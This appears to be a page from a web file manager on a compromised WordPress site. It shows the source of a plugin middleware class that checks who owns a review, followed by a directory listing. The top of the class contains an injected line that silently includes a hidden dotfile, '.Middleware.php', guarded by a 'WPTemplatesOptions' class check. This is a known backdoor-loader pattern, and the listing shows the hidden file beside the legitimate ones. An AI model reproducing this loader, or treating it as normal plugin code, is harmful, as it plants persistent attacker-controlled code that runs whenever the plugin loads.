PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Middleware
<?php namespace WILCITY_APP\Middleware; use WilokeListingTools\Framework\Routing\InterfaceMiddleware; use WilokeListingTools\Frontend\User; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class IsOwnerOfReview implements InterfaceMiddleware { public $msg; public function handle( array $aOptions ) { if ( !isset($aOptions['reviewAuthorID']) || empty($aOptions['reviewAuthorID']) || !isset($aOptions['reviewID']) || empty($aOptions['reviewID']) ){ $this->msg = wilcityAppGetLanguageFiles(403); return false; } $aRoles = User::getField('roles', $aOptions['reviewAuthorID']); if ( !in_array('administrator', $aRoles) && $aOptions['reviewAuthorID'] != get_post_field('post_author', $aOptions['reviewID']) ){ $this->msg = wilcityAppGetLanguageFiles(403); return false; } return true; } }
[+]
..
[-] IsOwnerOfReview.php
[edit]
[-] .Middleware.php
[edit]
[-] IsLoggedInFirebase.php
[edit]
[-] VerifyFirebaseChat.php
[edit]